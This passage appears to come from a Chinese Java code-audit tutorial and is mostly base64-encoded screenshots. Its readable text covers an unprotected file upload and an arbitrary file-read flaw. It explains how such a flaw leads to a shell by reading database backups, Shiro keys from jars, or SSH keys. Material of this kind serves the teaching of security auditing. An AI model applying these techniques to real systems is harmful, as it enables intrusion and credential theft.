6ZksalTlss/9QdEkSTTmmTmIJtv9EqEXYZwAusg1JIkSdhj91nsvsc+WDMdrENIg5QR37r0u5hMM9KKiasSAehaH/vuuy/77rvvuNQGQUAQaL72ta9RrVbI8xXPVV4uUA5OOWY/ki4ett1ndW+4Q/FE2q28/bfYg+rVl01hNaFvuOEGpJQ899xzfOxjHyMMQ5RSGGM6BOeLQbS2ccIJJxAEAaeeeiqXXXYZzrmOyvXlBoHDtoa4aO55nHTiKUipOf+Cr3Liicdy0onHcu753yTu7+foE07Gm4xKIDlv7kWIsEKSp5zyqU+yOBHoKOTTn/0sPqnzne9+h+OOP5FEKo459liu/M5cTvjkiaRScsJxR3P5t77CJReex2dOOp3UOSIJl110AdJBK8uRLkd5g/IGPKgoQFdifvnLXxKGITfffDN77703e+5ZKFWFECilOOCAA5g3bx6VsIIxlh133JG+Wo0kScjyDO9dh+Rsq0KNMXjvmTNnDr/61a/QWrPzrjuR5Rl9tT7m7L03dy1cSLPVIo5jZs2aBcAtt9zSIT1nzZrFggULMMZw6623svsuBQm6YMHtxHGMdY69Zs/GeU+lUmX//ffnhhtu6OxS77333p1d63nz5qFCybybbyYIQ/aaPZtFixcxbdp00jRlx5124q477wJgjz0KpW+7jreR5VmHpG3/vjwsXLiws0Gwww47IBSEYcg+++zDTTfdRBRFWGvZZ84cvPfcsWABQgjuuusu9txzT26++WaAzmtsQU7feuutxesxcOWEYaIF6BSmMIUp/F9Dd9/Wnot05iRreFrQarZQWhPHMW9729t44Ld/otVqUq1WO5t13fDes+6667L11pvQarx4k3HZs7CTHTXtlq9/FYZRRVuUQzWEhx78NbUAPnjQO0nL9xC9E+yxCMs33Bqee4muMXVgoB+JXc6nR+G61BhQkMVrow5M4f8TCAOiOUq4AviCZJMuAyGxztIMZ/CU35CfLnyUPy2dQRa9hur0VxPqJ9BY0qFnEGIQggREiCdA+WKVa4XATTI3E4BoMyZlfya7+zYhELL4ObpC9qg4xmcZQkDgE6RPUWoJgZ9GzbWopC2OO2S/Qr2uwMqSXJTgLcQKAgvVMCiViXKVI6MmR2+/pBydqC3hJbQakGbcd+opPHX9fLaSFRQGS6HM748HcUrw6ML/4jenf4FtzjuL2mAfWdoiDkOEFXhjkLlHSUCUCvYXyMPZ8p8XBi8MiQUvLMI7tHfgChWXlbL4pFA4wKLJmUjh+4+G0eclhEBJhfMZWbaUsPU81NbBe43zxcac821yuvf7cqWJwt561kpaRGFEvdEgCiNMGUk7mqZibLine truncated
|
||||
<p blockindex=45>然后a.txt只是为了省事随便写的,实际上是由http参数传递过去的。现在看看真正的效果。</p>
|
||||
<p blockindex=46><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=47>访问发现</p>
|
||||
<p blockindex=48><img src=data:image/png;base64,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 truncated
|
||||
<h3 blockindex=49>0x04 文件读取</h3>
|
||||
<p blockindex=50>同文件上传类似,基本上一个Controller某个方法如果没有任何防护,基本上整个Controller都没有防护。比如对上传的文件名没有做任何限制,那么对于文件读取的文件名大概率也是没有任何限制的。任意文件读取危害可大可小。任意文件读取在某些情况下危害是同等于文件上传的。比如某些api是对上传没有任何限制但是只限于后台文件上传,这个时候可以用任意文件读取读取数据库的备份文件从而寻找密码进行getshell。还有java的一些文件读取,比如java应用使用了shiro组件的同时还存在任意文件读取漏洞,那么攻击者完全可以通过读取java的shiro的jar包获取shirokey进行getshell。也可以通过读取ssh密钥(需要高权限)等等方式去进行利用。</p>
|
||||
<p blockindex=51>程序代码如下:</p>
|
||||
<p blockindex=52><img src="data:image/jpeg;base64,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